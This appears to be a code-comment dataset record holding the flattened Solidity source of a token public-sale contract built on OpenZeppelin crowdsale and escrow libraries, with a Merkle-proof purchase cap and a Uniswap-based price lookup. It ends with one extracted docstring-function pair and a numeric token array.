contract. */ function () external payable { buyTokens(_msgSender()); } /** * @return the token being sold. */ function token() public view returns (IERC20) { return _token; } /** * @return the address where funds are collected. */ function wallet() public view returns (address payable) { return _wallet; } /** * @return the number of token units a buyer gets per wei. */ function rate() public view returns (uint256) { return _rate; } /** * @return the amount of wei raised. */ function weiRaised() public view returns (uint256) { return _weiRaised; } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * This function has a non-reentrancy guard, so it shouldn't be called by * another `nonReentrant` function. * @param beneficiary Recipient of the token purchase */ function buyTokens(address beneficiary) public nonReentrant payable { uint256 weiAmount = msg.value; _preValidatePurchase(beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); // update state _weiRaised = _weiRaised.add(weiAmount); _processPurchase(beneficiary, tokens); emit TokensPurchased(_msgSender(), beneficiary, weiAmount, tokens); _updatePurchasingState(beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(beneficiary, weiAmount); } /** * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. * Use `super` in contracts that inherit from Crowdsale to extend their validations. * Example from CappedCrowdsale.sol's _preValidatePurchase method: * super._preValidatePurchase(beneficiary, weiAmount); * require(weiRaised().add(weiAmount) <= cap); * @param beneficiary Address performing the token purchase * @param weiAmount Value in wei involved in the purchase */ function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view { require(beneficiary != address(0), "Crowdsale: beneficiary is the zero address"); require(weiAmount != 0, "Crowdsale: weiAmount is 0"); this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 } /** * @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid * conditions are not met. * @param beneficiary Address performing the token purchase * @param weiAmount Value in wei involved in the purchase */ function _postValidatePurchase(address beneficiary, uint256 weiAmount) internal view { // solhint-disable-previous-line no-empty-blocks } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends * its tokens. * @param beneficiary Address performing the token purchase * @param tokenAmount Number of tokens to be emitted */ function _deliverTokens(address beneficiary, uint256 tokenAmount) internal { _token.safeTransfer(beneficiary, tokenAmount); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Doesn't necessarily emit/send * tokens. * @param beneficiary Address receiving the tokens * @param tokenAmount Number of tokens to be purchased */ function _processPurchase(address beneficiary, uint256 tokenAmount) internal { _deliverTokens(beneficiary, tokenAmount); } /** * @dev Override for extensions that require an internal state to check for validity (current user contributions, * etc.) * @param beneficiary Address receiving the tokens * @param weiAmount Value in wei involved in the purchase */ function _updatePurchasingState(address beneficiary, uint256 weiAmount) internal { // solhint-disable-previous-line no-empty-blocks } /** * @dev Override to extend the way in which ether is converted to tokens. * @param weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) { return weiAmount.mul(_rate); } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { _wallet.transfer(msg.value); } } // File: @openzeppelin/contracts/math/Math.sol pragma solidity ^0.5.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File: @openzeppelin/contracts/crowdsale/emission/AllowanceCrowdsale.sol pragma solidity ^0.5.0; /** * @title AllowanceCrowdsale * @dev Extension of Crowdsale where tokens are held by a wallet, which approves an allowance to the crowdsale. */ contract AllowanceCrowdsale is Crowdsale { using SafeMath for uint256; using SafeERC20 for IERC20; address private _tokenWallet; /** * @dev Constructor, takes token wallet address. * @param tokenWallet Address holding the tokens, which has approved allowance to the crowdsale. */ constructor (address tokenWallet) public { require(tokenWallet != address(0), "AllowanceCrowdsale: token wallet is the zero address"); _tokenWallet = tokenWallet; } /** * @return the address of the wallet that will hold the tokens. */ function tokenWallet() public view returns (address) { return _tokenWallet; } /** * @dev Checks the amount of tokens left in the allowance. * @return Amount of tokens left in the allowance */ function remainingTokens() public view returns (uint256) { return Math.min(token().balanceOf(_tokenWallet), token().allowance(_tokenWallet, address(this))); } /** * @dev Overrides parent behavior by transferring tokens from wallet. * @param beneficiary Token purchaser * @param tokenAmount Amount of tokens purchased */ function _deliverTokens(address beneficiary, uint256 tokenAmount) internal { token().safeTransferFrom(_tokenWallet, beneficiary, tokenAmount); } } // File: @openzeppelin/contracts/crowdsale/validation/TimedCrowdsale.sol pragma solidity ^0.5.0; /** * @title TimedCrowdsale * @dev Crowdsale accepting contributions only within a time frame. */ contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 private _openingTime; uint256 private _closingTime; /** * Event for crowdsale extending * @param newClosingTime new closing time * @param prevClosingTime old closing time */ event TimedCrowdsaleExtended(uint256 prevClosingTime, uint256 newClosingTime); /** * @dev Reverts if not in crowdsale time range. */ modifier onlyWhileOpen { require(isOpen(), "TimedCrowdsale: not open"); _; } /** * @dev Constructor, takes crowdsale opening and closing times. * @param openingTime Crowdsale opening time * @param closingTime Crowdsale closing time */ constructor (uint256 openingTime, uint256 closingTime) public { // solhint-disable-next-line not-rely-on-time require(openingTime >= block.timestamp, "TimedCrowdsale: opening time is before current time"); // solhint-disable-next-line max-line-length require(closingTime > openingTime, "TimedCrowdsale: opening time is not before closing time"); _openingTime = openingTime; _closingTime = closingTime; } /** * @return the crowdsale opening time. */ function openingTime() public view returns (uint256) { return _openingTime; } /** * @return the crowdsale closing time. */ function closingTime() public view returns (uint256) { return _closingTime; } /** * @return true if the crowdsale is open, false otherwise. */ function isOpen() public view returns (bool) { // solhint-disable-next-line not-rely-on-time return block.timestamp >= _openingTime && block.timestamp <= _closingTime; } /** * @dev Checks whether the period in which the crowdsale is open has already elapsed. * @return Whether crowdsale period has elapsed */ function hasClosed() public view returns (bool) { // solhint-disable-next-line not-rely-on-time return block.timestamp > _closingTime; } /** * @dev Extend parent behavior requiring to be within contributing period. * @param beneficiary Token purchaser * @param weiAmount Amount of wei contributed */ function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal onlyWhileOpen view { super._preValidatePurchase(beneficiary, weiAmount); } /** * @dev Extend crowdsale. * @param newClosingTime Crowdsale closing time */ function _extendTime(uint256 newClosingTime) internal { require(!hasClosed(), "TimedCrowdsale: already closed"); // solhint-disable-next-line max-line-length require(newClosingTime > _closingTime, "TimedCrowdsale: new closing time is before current closing time"); emit TimedCrowdsaleExtended(_closingTime, newClosingTime); _closingTime = newClosingTime; } } // File: @openzeppelin/contracts/crowdsale/distribution/FinalizableCrowdsale.sol pragma solidity ^0.5.0; /** * @title FinalizableCrowdsale * @dev Extension of TimedCrowdsale with a one-off finalization action, where one * can do extra work after finishing. */ contract FinalizableCrowdsale is TimedCrowdsale { using SafeMath for uint256; bool private _finalized; event CrowdsaleFinalized(); constructor () internal { _finalized = false; } /** * @return true if the crowdsale is finalized, false otherwise. */ function finalized() public view returns (bool) { return _finalized; } /** * @dev Must be called after crowdsale ends, to do some extra finalization * work. Calls the contract's finalization function. */ function finalize() public { require(!_finalized, "FinalizableCrowdsale: already finalized"); require(hasClosed(), "FinalizableCrowdsale: not closed"); _finalized = true; _finalization(); emit CrowdsaleFinalized(); } /** * @dev Can be overridden to add finalization logic. The overriding function * should call super._finalization() to ensure the chain of finalization is * executed entirely. */ function _finalization() internal { // solhint-disable-previous-line no-empty-blocks } } // File: @openzeppelin/contracts/ownership/Secondary.sol pragma solidity ^0.5.0; /** * @dev A Secondary contract can only be used by its primary account (the one that created it). */ contract Secondary is Context { address private _primary; /** * @dev Emitted when the primary contract changes. */ event PrimaryTransferred( address recipient ); /** * @dev Sets the primary account to the one that is creating the Secondary contract. */ constructor () internal { address msgSender = _msgSender(); _primary = msgSender; emit PrimaryTransferred(msgSender); } /** * @dev Reverts if called from any account other than the primary. */ modifier onlyPrimary() { require(_msgSender() == _primary, "Secondary: caller is not the primary account"); _; } /** * @return the address of the primary. */ function primary() public view returns (address) { return _primary; } /** * @dev Transfers contract to a new primary. * @param recipient The address of new primary. */ function transferPrimary(address recipient) public onlyPrimary { require(recipient != address(0), "Secondary: new primary is the zero address"); _primary = recipient; emit PrimaryTransferred(recipient); } } // File: @openzeppelin/contracts/payment/escrow/Escrow.sol pragma solidity ^0.5.0; /** * @title Escrow * @dev Base escrow contract, holds funds designated for a payee until they * withdraw them. * * Intended usage: This contract (and derived escrow contracts) should be a * standalone contract, that only interacts with the contract that instantiated * it. That way, it is guaranteed that all Ether will be handled according to * the `Escrow` rules, and there is no need to check for payable functions or * transfers in the inheritance tree. The contract that uses the escrow as its * payment method should be its primary, and provide public methods redirecting * to the escrow's deposit and withdraw. */ contract Escrow is Secondary { using SafeMath for uint256; using Address for address payable; event Deposited(address indexed payee, uint256 weiAmount); event Withdrawn(address indexed payee, uint256 weiAmount); mapping(address => uint256) private _deposits; function depositsOf(address payee) public view returns (uint256) { return _deposits[payee]; } /** * @dev Stores the sent amount as credit to be withdrawn. * @param payee The destination address of the funds. */ function deposit(address payee) public onlyPrimary payable { uint256 amount = msg.value; _deposits[payee] = _deposits[payee].add(amount); emit Deposited(payee, amount); } /** * @dev Withdraw accumulated balance for a payee, forwarding 2300 gas (a * Solidity `transfer`). * * NOTE: This function has been deprecated, use {withdrawWithGas} instead. * Calling contracts with fixed-gas limits is an anti-pattern and may break * contract interactions in network upgrades (hardforks). * https://diligence.consensys.net/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more.] * * @param payee The address whose funds will be withdrawn and transferred to. */ function withdraw(address payable payee) public onlyPrimary { uint256 payment = _deposits[payee]; _deposits[payee] = 0; payee.transfer(payment); emit Withdrawn(payee, payment); } /** * @dev Same as {withdraw}, but forwarding all gas to the recipient. * * WARNING: Forwarding all gas opens the door to reentrancy vulnerabilities. * Make sure you trust the recipient, or are either following the * checks-effects-interactions pattern or using {ReentrancyGuard}. * * _Available since v2.4.0._ */ function withdrawWithGas(address payable payee) public onlyPrimary { uint256 payment = _deposits[payee]; _deposits[payee] = 0; payee.sendValue(payment); emit Withdrawn(payee, payment); } } // File: @openzeppelin/contracts/payment/escrow/ConditionalEscrow.sol pragma solidity ^0.5.0; /** * @title ConditionalEscrow * @dev Base abstract escrow to only allow withdrawal if a condition is met. * @dev Intended usage: See {Escrow}. Same usage guidelines apply here. */ contract ConditionalEscrow is Escrow { /** * @dev Returns whether an address is allowed to withdraw their funds. To be * implemented by derived contracts. * @param payee The destination address of the funds. */ function withdrawalAllowed(address payee) public view returns (bool); function withdraw(address payable payee) public { require(withdrawalAllowed(payee), "ConditionalEscrow: payee is not allowed to withdraw"); super.withdraw(payee); } } // File: @openzeppelin/contracts/payment/escrow/RefundEscrow.sol pragma solidity ^0.5.0; /** * @title RefundEscrow * @dev Escrow that holds funds for a beneficiary, deposited from multiple * parties. * @dev Intended usage: See {Escrow}. Same usage guidelines apply here. * @dev The primary account (that is, the contract that instantiates this * contract) may deposit, close the deposit period, and allow for either * withdrawal by the beneficiary, or refunds to the depositors. All interactions * with `RefundEscrow` will be made through the primary contract. See the * `RefundableCrowdsale` contract for an example of `RefundEscrow`’s use. */ contract RefundEscrow is ConditionalEscrow { enum State { Active, Refunding, Closed } event RefundsClosed(); event RefundsEnabled(); State private _state; address payable private _beneficiary; /** * @dev Constructor. * @param beneficiary The beneficiary of the deposits. */ constructor (address payable beneficiary) public { require(beneficiary != address(0), "RefundEscrow: beneficiary is the zero address"); _beneficiary = beneficiary; _state = State.Active; } /** * @return The current state of the escrow. */ function state() public view returns (State) { return _state; } /** * @return The beneficiary of the escrow. */ function beneficiary() public view returns (address) { return _beneficiary; } /** * @dev Stores funds that may later be refunded. * @param refundee The address funds will be sent to if a refund occurs. */ function deposit(address refundee) public payable { require(_state == State.Active, "RefundEscrow: can only deposit while active"); super.deposit(refundee); } /** * @dev Allows for the beneficiary to withdraw their funds, rejecting * further deposits. */ function close() public onlyPrimary { require(_state == State.Active, "RefundEscrow: can only close while active"); _state = State.Closed; emit RefundsClosed(); } /** * @dev Allows for refunds to take place, rejecting further deposits. */ function enableRefunds() public onlyPrimary { require(_state == State.Active, "RefundEscrow: can only enable refunds while active"); _state = State.Refunding; emit RefundsEnabled(); } /** * @dev Withdraws the beneficiary's funds. */ function beneficiaryWithdraw() public { require(_state == State.Closed, "RefundEscrow: beneficiary can only withdraw while closed"); _beneficiary.transfer(address(this).balance); } /** * @dev Returns whether refundees can withdraw their deposits (be refunded). The overridden function receives a * 'payee' argument, but we ignore it here since the condition is global, not per-payee. */ function withdrawalAllowed(address) public view returns (bool) { return _state == State.Refunding; } } // File: @openzeppelin/contracts/crowdsale/distribution/RefundableCrowdsale.sol pragma solidity ^0.5.0; /** * @title RefundableCrowdsale * @dev Extension of `FinalizableCrowdsale` contract that adds a funding goal, and the possibility of users * getting a refund if goal is not met. * * Deprecated, use `RefundablePostDeliveryCrowdsale` instead. Note that if you allow tokens to be traded before the goal * is met, then an attack is possible in which the attacker purchases tokens from the crowdsale and when they sees that * the goal is unlikely to be met, they sell their tokens (possibly at a discount). The attacker will be refunded when * the crowdsale is finalized, and the users that purchased from them will be left with worthless tokens. */ contract RefundableCrowdsale is Context, FinalizableCrowdsale { using SafeMath for uint256; // minimum amount of funds to be raised in weis uint256 private _goal; // refund escrow used to hold funds while crowdsale is running RefundEscrow private _escrow; /** * @dev Constructor, creates RefundEscrow. * @param goal Funding goal */ constructor (uint256 goal) public { require(goal > 0, "RefundableCrowdsale: goal is 0"); _escrow = new RefundEscrow(wallet()); _goal = goal; } /** * @return minimum amount of funds to be raised in wei. */ function goal() public view returns (uint256) { return _goal; } /** * @dev Investors can claim refunds here if crowdsale is unsuccessful. * @param refundee Whose refund will be claimed. */ function claimRefund(address payable refundee) public { require(finalized(), "RefundableCrowdsale: not finalized"); require(!goalReached(), "RefundableCrowdsale: goal reached"); _escrow.withdraw(refundee); } /** * @dev Checks whether funding goal was reached. * @return Whether funding goal was reached */ function goalReached() public view returns (bool) { return weiRaised() >= _goal; } /** * @dev Escrow finalization task, called when finalize() is called. */ function _finalization() internal { if (goalReached()) { _escrow.close(); _escrow.beneficiaryWithdraw(); } else { _escrow.enableRefunds(); } super._finalization(); } /** * @dev Overrides Crowdsale fund forwarding, sending funds to escrow. */ function _forwardFunds() internal { _escrow.deposit.value(msg.value)(_msgSender()); } } // File: contracts/lib/ds-hub.sol pragma solidity ^0.5.17; interface DSAuthority { function canCall( address src, address dst, bytes4 sig ) external view returns (bool); } contract DSAuthEvents { event LogSetAuthority(address indexed authority); event LogSetOwner(address indexed owner); } contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; constructor() public { owner = msg.sender; emit LogSetOwner(msg.sender); } function setOwner(address owner_) public auth { owner = owner_; emit LogSetOwner(owner); } function setAuthority(DSAuthority authority_) public auth { authority = authority_; emit LogSetAuthority(address(authority)); } modifier auth { require(isAuthorized(msg.sender, msg.sig), "ds-auth-unauthorized"); _; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, address(this), sig); } } } contract DSNote { event LogNote(bytes4 indexed sig, address indexed guy, bytes32 indexed foo, bytes32 indexed bar, uint256 wad, bytes fax) anonymous; modifier note { bytes32 foo; bytes32 bar; uint256 wad; assembly { foo := calldataload(4) bar := calldataload(36) wad := callvalue() } _; emit LogNote(msg.sig, msg.sender, foo, bar, wad, msg.data); } } contract DSMath { function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x, "ds-math-add-overflow"); } function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x, "ds-math-sub-underflow"); } function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow"); } function min(uint256 x, uint256 y) internal pure returns (uint256 z) { return x <= y ? x : y; } function max(uint256 x, uint256 y) internal pure returns (uint256 z) { return x >= y ? x : y; } function imin(int256 x, int256 y) internal pure returns (int256 z) { return x <= y ? x : y; } function imax(int256 x, int256 y) internal pure returns (int256 z) { return x >= y ? x : y; } uint256 constant WAD = 10**18; uint256 constant RAY = 10**27; //rounds to zero if x*y < WAD / 2 function wmul(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, y), WAD / 2) / WAD; } //rounds to zero if x*y < WAD / 2 function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, y), RAY / 2) / RAY; } //rounds to zero if x*y < WAD / 2 function wdiv(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, WAD), y / 2) / y; } //rounds to zero if x*y < RAY / 2 function rdiv(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, RAY), y / 2) / y; } // This famous algorithm is called "exponentiation by squaring" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It's O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. // function rpow(uint256 x, uint256 n) internal pure returns (uint256 z) { z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } } contract DSThing is DSAuth, DSNote, DSMath { function S(string memory s) internal pure returns (bytes4) { return bytes4(keccak256(abi.encodePacked(s))); } } contract DSValue is DSThing { bool has; bytes32 val; function peek() public view returns (bytes32, bool) { return (val, has); } function read() public view returns (bytes32) { bytes32 wut; bool haz; (wut, haz) = peek(); require(haz, "haz-not"); return wut; } function poke(bytes32 wut) public note auth { val = wut; has = true; } function void() public note auth { // unset the value has = false; } } // File: contracts/lib/IUniswapV2Pair.sol pragma solidity >=0.5.10; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to); event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // File: contracts/sale/PricePicker.sol pragma solidity ^0.5.17; // calc eth price in usd contract PricePicker is DSMath, Ownable { function src() public pure returns (address) { return 0xA478c2975Ab1Ea89e8196811F51A7B7Ade33eB11; } function getPrice() public view returns (uint256) { (uint112 reserve0, uint112 reserve1) = IUniswapV2Pair(src()).getReserves(); return wdiv(uint256(reserve0), uint256(reserve1)); } } // File: contracts/sale/RoundCrowdsale.sol pragma solidity ^0.5.17; contract RoundCrowdsale is DSMath, Crowdsale { using SafeMath for uint256; bool private _initialized; uint256 private _startTime; uint256 private _nRound; // array of block time stamps uint256[] private _roundEndTime; // array of rates of tokens per wei in WAD unit. uint256[] private _rates; uint256 private _roundTokenCap; mapping(uint256 => uint256) private _roundSoldToken; function initialize( uint256 roundTokenCap, uint256 startTime, uint256[] memory roundEndTime, uint256[] memory rates ) public { require(_initialized == false); require(roundEndTime.length == rates.length, "RoundCrowdsale: invalid input length"); require(startTime < roundEndTime[0], "RoundCrowdsale: invalid start time"); uint256 n = roundEndTime.length; for (uint256 i = 1; i < n; i++) { require(roundEndTime[i - 1] < roundEndTime[i], "RoundCrowdsale: time not sorted"); } _startTime = startTime; _nRound = n; _roundEndTime = roundEndTime; _rates = rates; _roundTokenCap = roundTokenCap; _initialized = true; } function nRound() public view returns (uint256) { return _nRound; } function startTime() public view returns (uint256) { return _startTime; } function roundEndTimes(uint256 i) public view returns (uint256) { return _roundEndTime[i]; } function roundSoldToken(uint256 i) public view returns (uint256) { return _roundSoldToken[i]; } function roundTokenCap() public view returns (uint256) { return _roundTokenCap; } function rates(uint256 i) external view returns (uint256) { return _rates[i]; } function isOpen() public view returns (bool) { // solhint-disable-next-line not-rely-on-time return block.timestamp >= _startTime && block.timestamp <= _roundEndTime[_roundEndTime.length - 1]; } /** * The base rate function is overridden to revert, since this crowdsale doesn't use it, and * all calls to it are a mistake. */ function rate() public view returns (uint256) { revert("RoundCrowdsale: rate() called"); } function getCurrentRound() public view returns (uint256) { require(isOpen()); uint256 index; for (; index < _rates.length; index++) { if (block.timestamp <= _roundEndTime[index]) break; } return index; } /** * @dev Returns the rate of tokens per wei at the present time. * Note that, as price _increases_ with time, the rate _decreases_. * @return The number of tokens a buyer gets per wei at a given time */ function getCurrentRate() public view returns (uint256) { if (!isOpen()) { return 0; } return _rates[getCurrentRound()]; } /** * @dev Override Crowdsale#_processPurchase * @param beneficiary Address receiving the tokens * @param tokenAmount Number of tokens to be purchased */ function _processPurchase(address beneficiary, uint256 tokenAmount) internal { uint256 index = getCurrentRound(); require(_roundSoldToken[index].add(tokenAmount) < _roundTokenCap, "RoundCrowdsale: over payment"); _roundSoldToken[index] = _roundSoldToken[index].add(tokenAmount); super._processPurchase(beneficiary, tokenAmount); } /** * @dev Overrides parent method taking into account variable rate. * @param weiAmount The value in wei to be converted into tokens * @return The number of tokens _weiAmount wei will buy at present time */ function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) { uint256 currentRate = getCurrentRate(); return wmul(currentRate, weiAmount); } /** * @dev Overrides Crowdsale._preValidatePurchase * @param beneficiary Address performing the token purchase * @param weiAmount Value in wei involved in the purchase */ function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view { super._preValidatePurchase(beneficiary, weiAmount); require(isOpen(), "RoundCrowdsale: not open yet"); this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 } } // File: contracts/lib/MerkleProof.sol // https://github.com/ameensol/merkle-tree-solidity/blob/master/src/MerkleProof.sol pragma solidity >=0.4.22 <0.8.0; contract MerkleProof { function checkProof( bytes memory proof, bytes32 root, bytes32 hash ) public pure returns (bool) { bytes32 el; bytes32 h = hash; for (uint256 i = 32; i <= proof.length; i += 32) { assembly { el := mload(add(proof, i)) } if (h < el) { h = keccak256(abi.encodePacked(h, el)); } else { h = keccak256(abi.encodePacked(el, h)); } } return h == root; } // from StorJ -- https://github.com/nginnever/storj-audit-verifier/blob/master/contracts/MerkleVerifyv3.sol function checkProofOrdered( bytes memory proof, bytes32 root, bytes32 hash, uint256 index ) public pure returns (bool) { // use the index to determine the node ordering // index ranges 1 to n bytes32 el; bytes32 h = hash; uint256 remaining; for (uint256 j = 32; j <= proof.length; j += 32) { assembly { el := mload(add(proof, j)) } // calculate remaining elements in proof remaining = (proof.length - j + 32) / 32; // we don't assume that the tree is padded to a power of 2 // if the index is odd then the proof will start with a hash at a higher // layer, so we have to adjust the index to be the index at that layer while (remaining > 0 && index % 2 == 1 && index > 2**remaining) { index = uint256(index) / 2 + 1; } if (index % 2 == 0) { h = keccak256(abi.encodePacked(el, h)); index = index / 2; } else { h = keccak256(abi.encodePacked(h, el)); index = uint256(index) / 2 + 1; } } return h == root; } } // File: contracts/lib/LeafLib.sol // SPDX-License-Identifier: MIT pragma solidity >=0.4.22 <0.8.0; contract LeafLib is MerkleProof { mapping(address => uint256) public amounts; mapping(bytes32 => bool) public isRoot; bytes32[] public roots; function addRoot(bytes32 root) public { require(!isRoot[root], "duplicate-root"); isRoot[root] = true; roots.push(root); } function addLeaf( bytes32 root, address account, uint256 amount, bytes memory proof ) public { require(isRoot[root], "no-root"); bytes32 h = keccak256(abi.encode(account, amount)); require(checkProof(proof, root, h), "invalid-proof"); amounts[account] = amount; } } // File: contracts/sale/MerkleProofCappedCrowdsale.sol // SPDX-License-Identifier: MIT pragma solidity ^0.5.17; contract MerkleProofCappedCrowdsale is Ownable, LeafLib, Crowdsale { using SafeMath for uint256; mapping(address => bool) public isRootAdder; modifier onlyRootAdder() { require(msg.sender == owner() || isRootAdder[msg.sender], "no-root-adder"); _; } function addRootAdder(address account) external onlyOwner { isRootAdder[account] = true; } function addRoot(bytes32 root) public onlyRootAdder { super.addRoot(root); } mapping(address => uint256) private _contributions; /** * @dev Returns the amount contributed so far by a specific beneficiary. * @param beneficiary Address of contributor * @return Beneficiary contribution so far */ function getContribution(address beneficiary) public view returns (uint256) { return _contributions[beneficiary]; } /** * @param amount cap * @param root merkle root * @param proof merkle proof */ function buyTokensWithProof( uint256 amount, bytes32 root, bytes calldata proof ) external payable { addLeaf(root, msg.sender, amount, proof); buyTokens(msg.sender); } function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view { super._preValidatePurchase(beneficiary, weiAmount); require(_contributions[beneficiary].add(weiAmount) <= amounts[beneficiary], "MerkleProofCappedCrowdsale: exceeds cap"); } /** * @dev Extend parent behavior to update beneficiary contributions. * @param beneficiary Token purchaser * @param weiAmount Amount of wei contributed */ function _updatePurchasingState(address beneficiary, uint256 weiAmount) internal { super._updatePurchasingState(beneficiary, weiAmount); _contributions[beneficiary] = _contributions[beneficiary].add(weiAmount); } } // File: contracts/sale/PublicSale.sol pragma solidity ^0.5.17; /** * @dev RefundableCrowdsale is only used to prevent `wallet` from receiving Ether * during crowdsale. */ contract PublicSale is DSMath, Ownable, Crowdsale, AllowanceCrowdsale, TimedCrowdsale, MerkleProofCappedCrowdsale, FinalizableCrowdsale, RefundableCrowdsale, RoundCrowdsale, PricePicker { constructor( IERC20 token, // The token being sold address payable wallet, // Address where funds are collected address tokenWallet, // Address where the token is stored uint256 openingTime, // Time when the sale is opened uint256 closingTime ) public Crowdsale(1, wallet, token) AllowanceCrowdsale(tokenWallet) TimedCrowdsale(openingTime, closingTime) RefundableCrowdsale(1) {} //////////////////////// // Prices //////////////////////// function DAI_CFX() public view returns (uint256) { return getCurrentRate(); } function ETH_DAI() public view returns (uint256) { return getPrice(); } function ETH_CFX() public view returns (uint256) { return wdiv(ETH_DAI(), DAI_CFX()); } /** * @dev Override Crowdsale#_getTokenAmount * @param weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) { return calcTokenAmountWithEthPrice(weiAmount); } function calcTokenAmountWithEthPrice(uint256 ethAmount) public view returns (uint256) { return wmul(ethAmount, ETH_CFX()); } function isOpen() public view returns (bool) { return RoundCrowdsale.isOpen() && TimedCrowdsale.isOpen(); } /** * @dev Override FinalizableCrowdsale#finalize */ function finalize() public onlyOwner { super.finalize(); } /** * @dev Override RefundableCrowdsale#claimRefund */ function claimRefund(address payable) public { revert("PublicSale: not supported"); } /** * @dev Override RefundableCrowdsale#goalReached * @return Whether funding goal was reached */ function goalReached() public view returns (bool) { return hasClosed(); } function goal() public view returns (uint256) { revert("PublicSale: not supported"); } /** * @dev Overrides Crowdsale._preValidatePurchase * @param beneficiary Address performing the token purchase * @param weiAmount Value in wei involved in the purchase */ function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view { super._preValidatePurchase(beneficiary, weiAmount); require(msg.sender == tx.origin, "PublicSale: invalid tx origin"); this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 } }
* @param amount cap @param root merkle root @param proof merkle proof/
function buyTokensWithProof( uint256 amount, bytes32 root, bytes calldata proof ) external payable { addLeaf(root, msg.sender, amount, proof); buyTokens(msg.sender); }
11,904,155
[ 1, 8949, 3523, 225, 1365, 30235, 1365, 225, 14601, 30235, 14601, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
